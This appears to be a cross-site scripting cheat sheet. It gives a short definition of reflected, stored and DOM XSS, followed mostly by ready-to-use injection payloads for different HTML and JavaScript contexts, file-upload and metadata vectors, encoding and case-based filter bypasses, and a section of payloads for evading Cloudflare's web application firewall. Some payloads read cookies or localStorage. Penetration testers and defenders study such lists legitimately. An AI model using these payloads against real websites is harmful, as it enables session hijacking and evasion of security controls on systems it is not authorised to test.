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XSS Cheat Sheet (Basic)

Introduction

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. There is 3 types of XSS Attack:

  • Reflected XSS

    Attack where the malicious script runs from another website through the web browser

  • Stored XSS

    Stored attacks are those where the injected script is permanently stored on the target servers

  • DOM-Based XSS

    A type of XSS that has payloads found in the DOM rather than within the HTML code.

Payloads

  1. Basic payload
<script>alert(1)</script>
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
  1. Add ' or " to escape the payload from value of an HTML tag
"><script>alert(1)</script>
'><script>alert(1)</script>
  • Example source code
<input id="keyword" type="text" name="q" value="REFLECTED_HERE">
  • After input the payload
<input id="keyword" type="text" name="q" value=""><script>alert(1)</script>
  1. Add --> to escape the payload if input lands in HTML comments.
--><script>alert(1)</script>
  • Example source code
<!-- REFLECTED_HERE -->
  • After input the payload
<!-- --><script>alert(1)</script> -->
  1. Add when the input inside or between opening/closing tags, tag can be <a>,<title>,<script> and any other HTML tags
</tag><script>alert(1)</script>
"></tag><script>alert(1)</script>
  • Example source code
<a href="https://target.com/1?status=REFLECTED_HERE">1</a>
  • After input the payload
<a href="https://target.com/1?status="></a><script>alert(1)</script>">1</a>
  1. Use when input inside an attribute’s value of an HTML tag but > is filtered
" onmouseover=alert(1)
" autofocus onfocus=alert(1)
  • Example source code
<input id="keyword" type="text" name="q" value="REFLECTED_HERE">
  • After input the payload
<input id="keyword" type="text" name="q" value="" onmouseover=alert(1)">
  1. Use </script> when input inside <script> tags
</script><script>alert(1)</script>
  • Example source code
<script>
    var sitekey = 'REFLECTED_HERE';
</script>
  • After input the payload
<script>
    var sitekey = '</script><script>alert(1)</script>';
</script>

XSS Cheat Sheet (Advanced)

  1. Use when input lands in a script block, inside a string delimited value.
'-alert(1)-'
'/alert(1)//
  • Example source code
<script>
    var sitekey = 'REFLECTED_HERE';
</script>
  • After input the payload
<script>
    var sitekey = ''-alert(1)-'';
</script>
  1. Same like Number 7. But inside a string delimited value but quotes are escaped by a backslash.
\'alert(1)//
  • Example source code
<script>
    var sitekey = 'REFLECTED_HERE';
</script>
  • If we input payload '-alert(1)-' it will be like this
<script>
    var sitekey = '\'-alert(1)-\'';
</script>

The quotes are escaped by a backslash so we need to bypass them

  • After input the payload
<script>
    var sitekey = '\\'alert(1)//';
</script>
  1. Use when there’s multi reflection in the same line of JS code
/alert(1)//\
/alert(1)}//\
  • Example source code
<script>
    var a = 'REFLECTED_HERE'; var b = 'REFLECTED_HERE';
</script>
  • After input the payload
<script>
    var a = '/alert(1)//\'; var b = '/alert(1)//\';
</script>
  1. Use when input inside a string delimited value and inside a single logical block like function or conditional (if, else, etc).
'}alert(1);{'
\'}alert(1);{//
  • Example source code
<script>
    var greeting;
    var time = 1;
    if (time < 10) {
    test = 'REFLECTED_HERE';
  }
</script>
  • After input the payload
<script>
    var test;
    var time = 1;
    if (time < 10) {
    test = ''}alert(1);{'';
  }
</script>

Payload number 2 uses when quote escaped by backslash

  1. Use when input lands inside backticks delimited strings
${alert(1)}
  • Example source code
<script>
    var dapos = `REFLECTED_HERE`;
</script>
  • After input the payload
<script>
    var dapos = `${alert(1)}`;
</script>
  1. Uses when there is multiple reflections on same page. (Double Reflection)
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
  • After input the payload
<!DOCTYPE html>
<html>
<body>
'onload=alert(1)><svg/1='
[...]
'onload=alert(1)><svg/1='
</body>
</html>
  1. Uses when there is multiple reflections on same page. (Triple Reflection)
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
  • After input the payload
<!DOCTYPE html>
<html>
<body>
*/alert(1)">'onload="/*<svg/1='
[...]
*/alert(1)">'onload="/*<svg/1='
[...]
*/alert(1)">'onload="/*<svg/1='
</body>
</html>
  1. XSS in filename (File Upload) Use when uploaded filename is reflected somewhere in target page
"><svg onload=alert(1)>.jpeg
  1. XSS in metadata (File Upload) Use when uploaded metada is reflected somewhere in target page (using exiftool)
$ exiftool -Artist='"><script>alert(1)</script>' dapos.jpeg
  1. XSS with SVG file (File Upload)
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
  1. XSS via markdown
[Click Me](javascript:alert('1'))
  1. XSS in XML page
<a:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</a:script>

Add a "-->" to payload if input lands in a comment section

Add a "]]>" if input lands in a CDATA section

XSS Cheat Sheet (Bypass)

  1. Mixed Case
<Script>alert(document.cookie)</Script>
  1. Unclosed Tags
<svg onload="alert(1)"
  1. Uppercase Payloads
<SVG ONLOAD=ALERT(1)>
  1. Encoded XSS
(Encoded)
%3Csvg%20onload%3Dalert(1)%3E 

(Double Encoded)
%253Csvg%2520onload%253Dalert%281%29%253E 

(Triple Encoded)
%25253Csvg%252520onload%25253Dalert%25281%2529%25253E
  1. JS Lowercased Input
<SCRİPT>alert(1)</SCRİPT>
  1. PHP Email Validation Bypass
<svg/onload=alert(1)>"@gmail.com
  1. PHP URL Validation Bypass
javascript://%250Aalert(1)
  1. Inside Comments Bypass
<!--><svg onload=alert(1)-->

Bypass WAF

  1. Cloudflare
<svg%0Aonauxclick=0;[1].some(confirm)//

<svg onload=alert%26%230000000040"")>

<a/href=j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(1)&rpar;>
<svg onx=() onload=(confirm)(1)>

<svg onx=() onload=(confirm)(document.cookie)>

<svg onx=() onload=(confirm)(JSON.stringify(localStorage))>

Function("\x61\x6c\x65\x72\x74\x28\x31\x29")();

"><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041;

Function("\x61\x6c\x65\x72\x74\x28\x31\x29")();

"><onx=[] onmouseover=prompt(1)>

%2sscript%2ualert()%2s/script%2u -xss popup

<svg onload=alert%26%230000000040"1")>

"Onx=() onMouSeoVer=prompt(1)>"Onx=[] onMouSeoVer=prompt(1)>"/*/Onx=""//onfocus=prompt(1)>"//Onx=""/*/%01onfocus=prompt(1)>"%01onClick=prompt(1)>"%2501onclick=prompt(1)>"onClick="(prompt)(1)"Onclick="(prompt(1))"OnCliCk="(prompt`1`)"Onclick="([1].map(confirm))

[1].map(confirm)'ale'+'rt'()a&Tab;l&Tab;e&Tab;r&Tab;t(1)prompt&lpar;1&rpar;prompt&#40;1&#41;prompt%26%2300000000000000000040;1%26%2300000000000000000041;(prompt())(prompt``)

<svg onload=prompt%26%230000000040document.domain)>

<svg onload=prompt%26%23x000000028;document.domain)>

<svg/onrandom=random onload=confirm(1)>

<video onnull=null onmouseover=confirm(1)>

<a id=x tabindex=1 onbeforedeactivate=print(`XSS`)></a><input autofocus>

:javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.cookie

<img ignored=() src=x onerror=prompt(1)>

Reference: